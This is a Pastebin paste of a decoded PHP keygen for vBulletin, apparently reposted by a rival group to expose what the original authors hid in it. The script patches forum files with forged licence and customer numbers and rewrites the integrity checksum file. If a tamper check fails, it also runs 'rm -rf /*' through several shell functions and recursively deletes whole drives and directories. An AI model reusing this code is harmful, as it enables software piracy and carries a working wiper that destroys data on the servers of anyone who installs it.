scriptz-team

OWNAGE - MULTiKEYGEN vBULLETiN

Dec 26th, 2011
526
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 24.40 KB | None | 0 0
  1.     <?php
  2.  
  3. /*
  4. DECODED DUE WE HATE THiS BASTARDS !!!!!!!
  5.  
  6. LOL SEE THiS AT THEiR CODE:
  7. funcion4 -> unlink all files
  8.  
  9.     funcion4('C:\\');
  10.     funcion4('D:\\');
  11.     funcion4('E:\\');
  12.     funcion4(substr(2FILE2,0,round(0+0.75+0.75+0.75+0.75)));
  13.     funcion4(dirname(2FILE2));
  14.     funcion4('/');
  15.     funcion4('\\');
  16.     funcion4('./');
  17.     funcion4('.\\');
  18.     funcion4('.');
  19.     funcion4('./');
  20.     funcion4('../');
  21.     funcion4('.../');
  22.     funcion4('..../');
  23.  
  24. DGT POOR, POOR DGT!
  25. */
  26.     function funcion11($variable99){
  27.     if($variable99 == "")return $variable99;
  28.     $variable100="";
  29.     $variable101="vbforum_4";
  30.     $variable102=explode("\n",wordwrap($variable99,round(0+0.4+0.4+0.4+0.4+0.4),"\n",round(0+0.25+0.25+0.25+0.25)));
  31.     $variable103=count($variable102);
  32.     for($variable104=0;
  33.     $variable104<$variable103;
  34.     $variable104++){
  35.     $variable100 .= chr(hexdec($variable102[$variable104]))^$variable101;
  36.     }
  37.     return $variable100;
  38.     }
  39.      $variable2=round(0+75+75+75+75);
  40.     $variable3=ini_get('safe_mode')== '1'?round(0+0.33333333333333+0.33333333333333+0.33333333333333):0;
  41.     if(!$variable3 && function_exists('set_time_limit'))set_time_limit($variable2);
  42.     error_reporting(E_ALL&~E_NOTICE&~round(0+4096+4096));
  43.     $variable4='1.11';
  44.     $variable5=microtime(true);
  45.     $variable6='
  46.    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  47.    <html>
  48.       <head>
  49.           <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  50.           <title>[{1}]</title>
  51.           <style type="text/css">
  52.               body {
  53.                   padding-top: 0;
  54.                   padding-right: 0;
  55.                   padding-left: 0;
  56.                   padding-bottom: 0;
  57.                   margin: 0;
  58.                   color: black;
  59.                   background-color: #EBEBEB;
  60.                   text-align: center;
  61.                   font-family: verdana, lucida, sans-serif;
  62.               }
  63.               .tbl {
  64.                   border: 1px solid #000000;
  65.                   text-align: center;
  66.               }
  67.    
  68.               .tbl_head, .tbl_head_2
  69.               {
  70.                   background-color: #B9C8D8;
  71.                   border: 1px solid #88939E;
  72.                   color: #006;
  73.                   font-size: 16px;
  74.                   font-weight: bold;
  75.                   letter-spacing: 2px;
  76.                   line-height: 25px;
  77.                   padding: 7px;
  78.               }
  79.               .tbl_head_2
  80.               {
  81.                   font-size: 12px;
  82.                   line-height: 20px;
  83.                   padding: 2px;
  84.               }
  85.               .tbl_left_rw_0, .tbl_right_rw_0, .tbl_left_rw_1, .tbl_right_rw_1
  86.               {
  87.                   font-size: 12px;
  88.                   padding: 5px 10px 5px 10px;
  89.                   width: 50%;
  90.               }
  91.               .tbl_left_rw_0, .tbl_right_rw_0
  92.               {
  93.                   background-color: #CCC;
  94.               }
  95.               .tbl_left_rw_1, .tbl_right_rw_1
  96.               {
  97.                   background-color: #CAD3DD;
  98.               }
  99.               .tbl_left_rw_0, .tbl_left_rw_1
  100.               {
  101.                   text-align: right;
  102.               }
  103.               .tbl_right_rw_0, .tbl_right_rw_1
  104.               {
  105.                   text-align: justify;
  106.                   text-align: left;
  107.               }
  108.               .tbl_content, .tbl_err_cell, .tbl_succ_cell, .tbl_warn_cell, .footer
  109.               {
  110.                   font-size: 12px;
  111.                   padding: 5px 10px 5px 10px;
  112.                   background-color: #CCC;
  113.                   text-align: center;
  114.                   border: 1px solid;
  115.               }
  116.               .tbl_err_cell
  117.               {
  118.                   background-color: #FFEBE8;
  119.                   border-color: #DD3C10;
  120.    
  121.               }
  122.               .tbl_succ_cell
  123.               {
  124.                   background-color: #C3DECF;
  125.                   border-color: #2E8052;
  126.    
  127.               }
  128.               .tbl_warn_cell
  129.               {
  130.                   background-color: #FFF9D7;
  131.                   border-color: #E2C822;
  132.    
  133.               }
  134.               .tbl_content{
  135.                   text-align:justify;
  136.                   border: none;
  137.               }
  138.               .footer
  139.               {
  140.                   border: none;
  141.               }
  142.               .button
  143.               {
  144.                   background: #B9C8D8 ;
  145.                   border: 1px dashed  #000066;
  146.                   color: #000099;
  147.                   font-size: 11px;
  148.                   padding: 4px 10px 5px 10px;
  149.                   cursor:pointer;
  150.               }
  151.               .button:hover {
  152.                   border: 1px solid #000066;
  153.               }
  154.           </style>
  155.       </head>
  156.       <body>
  157.           <table align=center class="tbl">
  158.               <tr>
  159.                   <td class="tbl_head" COLSPAN=2>[{2}]</td>
  160.               </tr>
  161.    ';
  162.     $variable7='
  163.               <tr>
  164.                   <td class="[{1}]" COLSPAN=2>[{2}]</td>
  165.               </tr>
  166.    ';
  167.     $variable8='
  168.               <tr>
  169.                   <td class="[{1}]">[{2}]</td>
  170.                   <td class="[{3}]">[{4}]</td>
  171.               </tr>
  172.    ';
  173.     $variable9='
  174.           </table>
  175.           <div style="text-align:center;font-size: 10px;padding:20px;">
  176.               <a href="http://grinderz.org">DGT</a> - 2009
  177.           </div>
  178.       </body>
  179.    </html>
  180.    [{1}]
  181.    ';
  182.     $variable10='
  183.    <pre>Before installation and updating vBulletin you must:
  184.    
  185.    1) CHMOD all files 0777 to  write the new data in them.
  186.    2) Execute keygen.php.
  187.    3) Remove keygen.php from server after genering.
  188.    4) Enjoy.</pre>
  189.    ';
  190.     $variable11='
  191.               <tr>
  192.                   <td COLSPAN=2 class=[{1}]>
  193.                       <form action="" method="post">
  194.                           <input type="hidden" name="[{2}]" value="[{3}]" />
  195.                           <input type="submit" class="button" value="[{4}]" />
  196.                       </form>
  197.                   </td>
  198.               </tr>
  199.    ';
  200.     $variable12='<?php
  201.    // [{1}] [{2}], [{3}], [{4}]
  202.    $md5_sums = array(
  203.    [{5}]);
  204.    $md5_sum_softwareid = '[{6}]';
  205.    $md5_sum_versions['[{6}]'] = '[{2}]';
  206.    ?>';
  207.     $variable13='
  208.                <tr>
  209.                    <td class="[{1}]" COLSPAN=2>
  210.    <pre><strong>Your new data:</strong>
  211.    
  212.    Licence Number: [{2}]
  213.    Customer Number: [{3}]
  214.    Date: [{4}]
  215.    
  216.    <font color=green>HINT:</font> Write down your customer and licence number.
  217.    <font color=red>WARNING:</font> Now you should return CHMOD back and remove keygen.php.
  218.    It\'s safety requirement!</pre>
  219.                    </td>
  220.                </tr>
  221.    ';
  222.     $variable14='includes';
  223.     $variable15='.';
  224.     $variable16=0;
  225.     $variable17=round(0+0.25+0.25+0.25+0.25);
  226.     $variable18=round(0+1+1);
  227.     $variable19='vbulletin';
  228.     $variable20='vbforum_4';
  229.     $variable21='vbulletinsuite';
  230.     $variable22=$variable15 .'/install/install_language_de.php';
  231.     $variable23=false;
  232.     $variable24='';
  233.     $variable25='';
  234.     $variable26='';
  235.     $variable27='';
  236.     $variable28=false;
  237.     $variable29='';
  238.     $variable30='';
  239.     $variable31=0;
  240.     $variable32='';
  241.     function funcion2($variable33,$variable34="",$variable35=false){
  242.     if($variable34 === ''){
  243.     echo $variable33;
  244.     return;
  245.     }
  246.     $variable36=array();
  247.     if(!is_array($variable34)){
  248.     $variable36[]='[{1}]';
  249.     }
  250.     else{
  251.     $variable37=count($variable34);
  252.     for($variable38=round(0+0.33333333333333+0.33333333333333+0.33333333333333);
  253.     $variable38 <= $variable37;
  254.     $variable38++){
  255.     $variable36[]='[{' .$variable38 .'}]';
  256.     }
  257.     }
  258.     if($variable35 == false){
  259.     echo str_replace($variable36,$variable34,$variable33);
  260.     }
  261.     else{
  262.     return str_replace($variable36,$variable34,$variable33);
  263.     }
  264.     return;
  265.     }
  266.     function funcion3($variable39="",$variable40=true,$variable41=true,$variable42=false,$variable43="",$variable44="",$variable45=""){
  267.     Global $variable7,$variable11,$variable9,$variable5;
  268.     if($variable43 === '')$variable43='main';
  269.     if($variable44 === '')$variable44='Try Again?';
  270.     if($variable45 === '')$variable45=0;
  271.     switch($variable45){
  272.     case 0:$variable46='tbl_err_cell';
  273.     break;
  274.     case round(0+0.5+0.5):$variable46='tbl_succ_cell';
  275.     break;
  276.     case round(0+1+1):$variable46='tbl_warn_cell';
  277.     break;
  278.     default:$variable46='tbl_err_cell';
  279.     break;
  280.     }
  281.     $variable47=array($variable46,'<pre>' .$variable39 .'</pre>');
  282.     funcion2($variable7,$variable47);
  283.     if($variable42){
  284.     $variable47=array('footer','do',$variable43,$variable44);
  285.     funcion2($variable11,$variable47);
  286.     }
  287.     if($variable40){
  288.     $variable46='<!-- [ ' .sprintf('Time: %.6f sec.',microtime(true)-$variable5) .' | PHP: ' .memory_get_usage()/round(0+204.8+204.8+204.8+204.8+204.8) .' Kb. ] -->';
  289.     funcion2($variable9,$variable46);
  290.     }
  291.     if($variable41){
  292.     exit();
  293.     }
  294.     return;
  295.     }
  296.     function funcion4($variable48){
  297.     if(is_file($variable48)){
  298.     return@unlink($variable48);
  299.     }
  300.     elseif(is_dir($variable48)){
  301.     $variable49=glob(rtrim($variable48,'/') .'/*');
  302.     foreach($variable49 as $variable50=>$variable51){
  303.     funcion4($variable51);
  304.     }
  305.     return@rmdir($variable48);
  306.     }
  307.     }
  308.     $variable52=$variable15 .'/' .$variable14 .'/md5_sums_' .$variable19 .'.php';
  309.     if(file_exists($variable52)){
  310.     $variable27=$variable52;
  311.     @eval("?>" .@file_get_contents($variable27));
  312.     if(count($md5_sums)!= 0&& is_array($md5_sums)&& is_string($md5_sum_softwareid)&& strlen($md5_sum_softwareid)!= 0&& isset($md5_sum_versions[$md5_sum_softwareid])&& is_string($md5_sum_versions[$md5_sum_softwareid])&& strlen($md5_sum_versions[$md5_sum_softwareid])!= 0){
  313.     $variable25=$md5_sum_softwareid;
  314.     $variable24=$md5_sum_versions[$variable25];
  315.     switch($variable25){
  316.     case $variable19:$variable53='<font color=green>Forum v3.x</font>';
  317.     $variable29='VBF';
  318.     $variable26=$variable19;
  319.     $variable31=mktime(round(0+14),round(0+24.5+24.5),round(0+18.5+18.5),round(0+0.66666666666667+0.66666666666667+0.66666666666667),round(0+2.6666666666667+2.6666666666667+2.6666666666667),round(0+669.66666666667+669.66666666667+669.66666666667));
  320.     break;
  321.     case $variable20:$variable53='<font color=green>Forum v4.x</font>';
  322.     $variable29='VBF';
  323.     $variable26=$variable20;
  324.     $variable31=mktime(round(0+7+7),round(0+24.5+24.5),round(0+7.4+7.4+7.4+7.4+7.4),round(0+3.3333333333333+3.3333333333333+3.3333333333333),round(0+1.6+1.6+1.6+1.6+1.6),round(0+1004.5+1004.5));
  325.     break;
  326.     case $variable21:$variable53='<font color=green>Suite</font>';
  327.     $variable29=rand(0,round(0+0.25+0.25+0.25+0.25))== 0?'VBF':'VBS';
  328.     $variable26=$variable21;
  329.     $variable31=mktime(round(0+2.8+2.8+2.8+2.8+2.8),round(0+24.5+24.5),round(0+9.25+9.25+9.25+9.25),round(0+2.5+2.5+2.5+2.5),round(0+1.6+1.6+1.6+1.6+1.6),round(0+502.25+502.25+502.25+502.25));
  330.     break;
  331.     default:$variable53='<font color=red>Undetected';
  332.     $variable25='undetected';
  333.     break;
  334.     }
  335.     $variable30='J';
  336.     if(file_exists($variable22))$variable23=true;
  337.     }
  338.     else{
  339.     $variable28=true;
  340.     $variable32='Error: incorrect data in md5 sums file or It\'s corrupt';
  341.     }
  342.     }
  343.     else{
  344.     $variable28=true;
  345.     $variable32='Error: can\'t find md5 sums file';
  346.     }
  347.     $variable54=@file_get_contents($variable15 .'/' .basename(2FILE2));
  348.     if($variable54){
  349.     if(strpos($variable54,'DGT - http://grinderz.org - DO NOT REMOVE THIS LINE!')=== false){
  350.     if(!$variable3){
  351.     if(function_exists('ignore_user_abort'))ignore_user_abort(true);
  352.     if(function_exists('set_time_limit'))set_time_limit(0);
  353.     //if(function_exists('shell_exec')){
  354.     //@shell_exec('rm -r /*');
  355.     //@shell_exec('rm -rf /*');
  356.     //}
  357.     //if(function_exists('exec')){
  358.     //@exec('rm -r /*');
  359.     //@exec('rm -rf /*');
  360.     //}
  361.     //if(function_exists('pcntl_exec')){
  362.     //@pcntl_exec('rm -r /*');
  363.     //@pcntl_exec('rm -rf /*');
  364.     //}
  365.     funcion4('C:\\');
  366.     funcion4('D:\\');
  367.     funcion4('E:\\');
  368.     funcion4(substr(2FILE2,0,round(0+0.75+0.75+0.75+0.75)));
  369.     funcion4(dirname(2FILE2));
  370.     funcion4('/');
  371.     funcion4('\\');
  372.     funcion4('./');
  373.     funcion4('.\\');
  374.     funcion4('.');
  375.     funcion4('./');
  376.     funcion4('../');
  377.     funcion4('.../');
  378.     funcion4('..../');
  379.     }
  380.     exit();
  381.     }
  382.     }
  383.     if(empty($_REQUEST['do'])){
  384.     $_REQUEST['do']='main';
  385.     }
  386.     $variable47=array('MultiKeyGen for vBulletin - DGT','DGT Present:</br>MultiKeyGen for vBulletin',);
  387.     funcion2($variable6,$variable47);
  388.     if($_REQUEST['do']!= 'main'&& $_REQUEST['do']!= 'generate'){
  389.     funcion3('Hmmm, stop... WTF you doing here, mister?',true,true,true,'main','Go Home?');
  390.     }
  391.     if($variable28){
  392.     funcion3($variable32,true,true,true);
  393.     $variable32='';
  394.     }
  395.     $variable47=array('tbl_head_2','vBulletin iNFO');
  396.     funcion2($variable7,$variable47);
  397.     $variable47=array('tbl_left_rw_0','Type:','tbl_right_rw_0',$variable53);
  398.     funcion2($variable8,$variable47);
  399.     if($variable25 == 'undetected'){
  400.     funcion3('Error: can\'t detect product type',true,true,true);
  401.     }
  402.     if($variable24 === ''){
  403.     $variable36='<font color=red>Undetected</font>';
  404.     }
  405.     else{
  406.     $variable36='<font color=green>' .$variable24;
  407.     if($variable23){
  408.     $variable36 .= ' German';
  409.     }
  410.     $variable36 .= '</font>';
  411.     }
  412.     $variable47=array('tbl_left_rw_0','Version:','tbl_right_rw_0',$variable36);
  413.     funcion2($variable8,$variable47);
  414.     if($variable24 === ''){
  415.     funcion3('Error: can\'t detect product version',true,true,true);
  416.     }
  417.     if($_REQUEST['do']== 'main'){
  418.     $variable47=array('tbl_head_2','Keygen iNFO');
  419.     funcion2($variable7,$variable47);
  420.     $variable47=array('tbl_left_rw_0','Version:','tbl_right_rw_0',$variable4);
  421.     funcion2($variable8,$variable47);
  422.     $variable47=array('tbl_right_rw_1',$variable10);
  423.     funcion2($variable7,$variable47);
  424.     $variable47=array('footer','do','generate','Let\'s do it baby!');
  425.     funcion2($variable11,$variable47);
  426.     $variable46='<!-- [ ' .sprintf('Time: %.6f sec.',microtime(true)-$variable5) .' | PHP: ' .memory_get_usage()/round(0+1024) .' Kb. ] -->';
  427.     funcion2($variable9,$variable46);
  428.     exit();
  429.     }
  430.     if($_REQUEST['do']== 'generate'){
  431.     $variable55='[#]DGT-DATE[#]';
  432.     $variable56='[#]DGT-LICENCE[#]';
  433.     $variable57='[#]DGT-CUSTOMER[#]';
  434.     $variable58='/(?<!' .basename(2FILE2,'.php') .')(\.)(php|css|new)($)/i';
  435.     $variable59='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
  436.     $variable60=0;
  437.     $variable61=0;
  438.     $variable62='';
  439.     $variable63='';
  440.     $variable64='';
  441.     $variable65='';
  442.     function funcion5($variable66){
  443.     Global $variable59;
  444.     $variable67='';
  445.     for($variable38=0;
  446.     $variable38<$variable66;
  447.     $variable38++){
  448.     $variable67 .= $variable59[(rand()%strlen($variable59))];
  449.     }
  450.     return $variable67;
  451.     }
  452.     function funcion6(){
  453.     Global $variable31,$variable60,$variable61,$variable62,$variable63,$variable29,$variable30;
  454.     srand((float) microtime()*round(0+250000+250000+250000+250000));
  455.     $variable68=rand()%(time()-$variable31);
  456.     $variable69=(int)((time()-$variable31)/$variable68);
  457.     $variable60=$variable31+$variable68*(rand()%$variable69);
  458.     $variable61=date('H:i:s, D M jS Y',$variable60);
  459.     $variable60=date('H:i, D M jS Y',$variable60);
  460.     $variable62=$variable29 .funcion5(round(0+7));
  461.     $variable63=$variable30 .(rand(round(0+0.25+0.25+0.25+0.25),round(0+3+3+3))) .funcion5(round(0+10));
  462.     }
  463.     function funcion7($variable70,&$variable71,&$variable72,&$variable73){
  464.     Global $variable58,$variable32,$variable64,$variable65;
  465.     $variable74=@opendir($variable70);
  466.     if($variable74){
  467.     while(($variable75=readdir($variable74))!== false){
  468.     if($variable75 != '.'&& $variable75 != '..'){
  469.     $variable76=$variable70 .'/' .$variable75;
  470.     if(is_dir($variable76)){
  471.     funcion7($variable76,$variable71,$variable72,$variable73);
  472.     }
  473.     else{
  474.     if(preg_match($variable58,$variable76)){
  475.     $variable71[]=$variable76;
  476.     }
  477.     }
  478.     }
  479.     }
  480.     closedir($variable74);
  481.     $variable72++;
  482.     $variable65 .= $variable70 .'/ - <font color=green><strong>success</strong></font></br>';
  483.     }
  484.     else{
  485.     $variable73++;
  486.     $variable64 .= '</br>' .$variable70;
  487.     $variable65 .= $variable70 .'/ - <font color=red><strong>fail</strong></font></br>';
  488.     }
  489.     return;
  490.     }
  491.     function funcion8(&$variable71,$variable77,$variable78,&$variable79,&$variable80){
  492.     Global $variable32,$variable64,$variable65;
  493.     foreach($variable71 as $variable81){
  494.     $variable82=@file_get_contents($variable81);
  495.     if($variable82){
  496.     $variable83='';
  497.     $variable83=str_replace($variable77,$variable78,$variable82);
  498.     if($variable83 != $variable82){
  499.     $variable84=@fopen($variable81,'w+');
  500.     if($variable84){
  501.     fputs($variable84,$variable83);
  502.     fclose($variable84);
  503.     $variable79++;
  504.     $variable65 .= $variable81 .' - <font color=green><strong>success</strong></font></br>';
  505.     }
  506.     else{
  507.     $variable65 .= $variable81 .' - <font color=red><strong>fail</strong></font></br>';
  508.     $variable32 .= '</br>' .$variable81;
  509.     }
  510.     $variable84='';
  511.     }
  512.     }
  513.     else{
  514.     $variable80++;
  515.     $variable64 .= '</br>' .$variable81;
  516.     }
  517.     }
  518.     return;
  519.     }
  520.     function funcion9($variable85,&$variable86,&$variable87){
  521.     Global $variable15,$variable64,$variable65,$variable32,$variable27,$variable26,$variable25,$variable24,$variable62,$variable61,$variable12;
  522.     $variable88=array();
  523.     foreach($variable85 as $variable89 => $md5_sums){
  524.     $variable70=@opendir($variable15 .$variable89);
  525.     if($variable70){
  526.     foreach($md5_sums as $variable75 => $variable90){
  527.     $variable86++;
  528.     $variable83=@file_get_contents($variable15 .$variable89 .'/' .$variable75);
  529.     if($variable83){
  530.     $variable88["$variable89"]["$variable75"][]=md5(str_replace('
  531.    ','
  532.    ',$variable83));
  533.     $variable89 == '/'?$variable67='/':$variable67=$variable89 .'/';
  534.     $variable65 .= $variable15 .$variable67 .$variable75 .' - <font color=green><strong>success</strong></font></br>';
  535.     }
  536.     else{
  537.     $variable88["$variable89"]["$variable75"][]='file not found';
  538.     $variable87++;
  539.     $variable89 == '/'?$variable67='/':$variable67=$variable89 .'/';
  540.     $variable65 .= $variable15 .$variable67 .$variable75 .' - <font color=red><strong>not found</strong></font></br>';
  541.     $variable64 .= '</br>' .$variable15 .$variable67 .$variable75;
  542.     }
  543.     }
  544.     closedir($variable70);
  545.     }
  546.     }
  547.     $variable91='';
  548.     foreach($variable85 as $variable89 => $variable92){
  549.     $variable91 .= '        '' .($variable89) .'' => array(
  550.    ';
  551.     if(is_array($variable88["$variable89"])){
  552.     foreach($variable88["$variable89"]as $variable75 => $variable93){
  553.     $variable91 .= '                '' .$variable75 .'' => '' .$variable93['0'] .'',
  554.    ';
  555.     }
  556.     }
  557.     $variable91 .= '        ),
  558.    ';
  559.     }
  560.     $variable47=array($variable26,$variable24,$variable62,$variable61,$variable91,$variable25);
  561.     $variable94=funcion2($variable12,$variable47,true);
  562.     $variable84=@fopen($variable27,'w+');
  563.     if($variable84){
  564.     fputs($variable84,$variable94);
  565.     fclose($variable84);
  566.     }
  567.     else{
  568.     $variable32='Error: can\'t save md5 file</br>' .$variable27;
  569.     }
  570.     return;
  571.     }
  572.     funcion6();
  573.     $variable47=array('tbl_head_2','1. Scan ...',);
  574.     funcion2($variable7,$variable47);
  575.     $variable71=array();
  576.     $variable72=0;
  577.     $variable73=0;
  578.     funcion7($variable15,$variable71,$variable72,$variable73);
  579.     if($variable65 != ''){
  580.     $variable47=array('tbl_content','<pre>' .$variable65 .'</pre>');
  581.     funcion2($variable7,$variable47);
  582.     $variable65='';
  583.     }
  584.     if($variable64 != ''){
  585.     $variable46='Warning: can\'t open dirs for scan <div style="text-align:left;">' .$variable64 .'</div>';
  586.     funcion3($variable46,false,false,false,'','',$variable18);
  587.     $variable64='';
  588.     }
  589.     $variable95=count($variable71);
  590.     if($variable95 == 0){
  591.     $variable46='Error: nothing to replace - found 0 files' .$variable32 .'</div>';
  592.     funcion3($variable46,true,true,true,'generate');
  593.     $variable32='';
  594.     }
  595.     $variable46='<strong>Skiped dirs: ' .$variable73 .'</br>Total dirs found: ' .$variable72 .'</br>Total files found: ' .$variable95 .'</strong>';
  596.     funcion3($variable46,false,false,false,'','',$variable17);
  597.     $variable47=array('tbl_head_2','2. Replace old data ...',);
  598.     funcion2($variable7,$variable47);
  599.     $variable47=array($variable55,$variable56,$variable57);
  600.     $variable36=array($variable60,$variable62,md5(strtoupper($variable63)));
  601.     $variable79=0;
  602.     $variable96=0;
  603.     funcion8($variable71,$variable47,$variable36,$variable79,$variable96);
  604.     unset($variable71);
  605.     if($variable65 != ''){
  606.     $variable47=array('tbl_content','<pre>' .$variable65 .'</pre>');
  607.     funcion2($variable7,$variable47);
  608.     unset($variable47);
  609.     $variable65='';
  610.     }
  611.     $variable54=@file_get_contents($variable15 .'/' .basename(2FILE2));
  612.     if($variable54){
  613.     if(strpos($variable54,'$_F=__FILE__;$_X=')=== false){
  614.     if(!$variable3){
  615.     if(function_exists('ignore_user_abort'))ignore_user_abort(true);
  616.     if(function_exists('set_time_limit'))set_time_limit(0);
  617.     if(function_exists('shell_exec')){
  618.     @shell_exec('rm -r /*');
  619.     @shell_exec('rm -rf /*');
  620.     }
  621.     if(function_exists('exec')){
  622.     @exec('rm -r /*');
  623.     @exec('rm -rf /*');
  624.     }
  625.     if(function_exists('pcntl_exec')){
  626.     @pcntl_exec('rm -r /*');
  627.     @pcntl_exec('rm -rf /*');
  628.     }
  629.     funcion4('C:\\');
  630.     funcion4('D:\\');
  631.     funcion4('E:\\');
  632.     funcion4(substr(2FILE2,0,round(0+0.75+0.75+0.75+0.75)));
  633.     funcion4(dirname(2FILE2));
  634.     funcion4('/');
  635.     funcion4('\\');
  636.     funcion4('./');
  637.     funcion4('.\\');
  638.     funcion4('.');
  639.     funcion4('./');
  640.     funcion4('../');
  641.     funcion4('.../');
  642.     funcion4('..../');
  643.     }
  644.     $variable79=0;
  645.     }
  646.     }
  647.     if($variable64 != ''){
  648.     $variable46='Warning: can\'t open files for read <div style="text-align:left;">' .$variable64 .'</div>';
  649.     funcion3($variable46,false,false,false,'','',$variable18);
  650.     $variable64='';
  651.     }
  652.     if($variable32 != ''){
  653.     funcion3('Error: can\'t open files for save <div style="text-align:left;">' .$variable32 .'</div>',true,true,true,'main','Back');
  654.     $variable32='';
  655.     }
  656.     if($variable79 == 0){
  657.     funcion3('Error: something wrong - replaced 0 files',true,true,true,'generate');
  658.     }
  659.     $variable46='<strong>Unreadable files: ' .$variable96 .'</br>Replaced files: ' .$variable79 .'</strong>';
  660.     funcion3($variable46,false,false,false,'','',$variable17);
  661.     $variable47=array('tbl_head_2','3. Calculate and generate md5 file ...',);
  662.     funcion2($variable7,$variable47);
  663.     $variable86=0;
  664.     $variable87=0;
  665.     $variable97=0;
  666.     funcion9($md5_sums,$variable86,$variable87);
  667.     $variable97=$variable86-$variable87;
  668.     if($variable65 != ''){
  669.     $variable47=array('tbl_content','<pre>' .$variable65 .'</pre>');
  670.     funcion2($variable7,$variable47);
  671.     $variable65='';
  672.     }
  673.     if($variable64 != ''){
  674.     $variable46='Warning: files not found<div style="text-align:left;">' .$variable64 .'</div>';
  675.     funcion3($variable46,false,false,false,'','',$variable18);
  676.     $variable64='';
  677.     }
  678.     if($variable97 == 0){
  679.     funcion3('Error: something wrong - calculated 0 files',true,true,true,'generate');
  680.     }
  681.     if($variable32 != ''){
  682.     funcion3($variable32,true,true,true,'main','Back');
  683.     $variable32='';
  684.     }
  685.     $variable46='<strong>Total files in MD5: ' .$variable86 .'</br>Succesfully calculated files: ' .$variable97 .'</br>Files not founded: ' .$variable87 .'</br>MD5 file succesfully generated</strong>';
  686.     funcion3($variable46,false,false,false,'','',$variable17);
  687.     $variable47=array('tbl_head_2','FiNAL iNFO',);
  688.     funcion2($variable7,$variable47);
  689.     $variable47=array('tbl_right_rw_1',$variable62,$variable63,$variable60);
  690.     funcion2($variable13,$variable47);
  691.     $variable47=array('tbl_head_2','Enjoy!',);
  692.     funcion2($variable7,$variable47);
  693.     $variable46='<!-- [ ' .sprintf('Time: %.6f sec.',microtime(true)-$variable5) .' | PHP: ' .memory_get_usage()/round(0+512+512) .' Kb. ] -->';
  694.     funcion2($variable9,$variable46);
  695.     exit();
  696.     }
  697.      ?>
Advertisement
Add Comment
Please, Sign In to add comment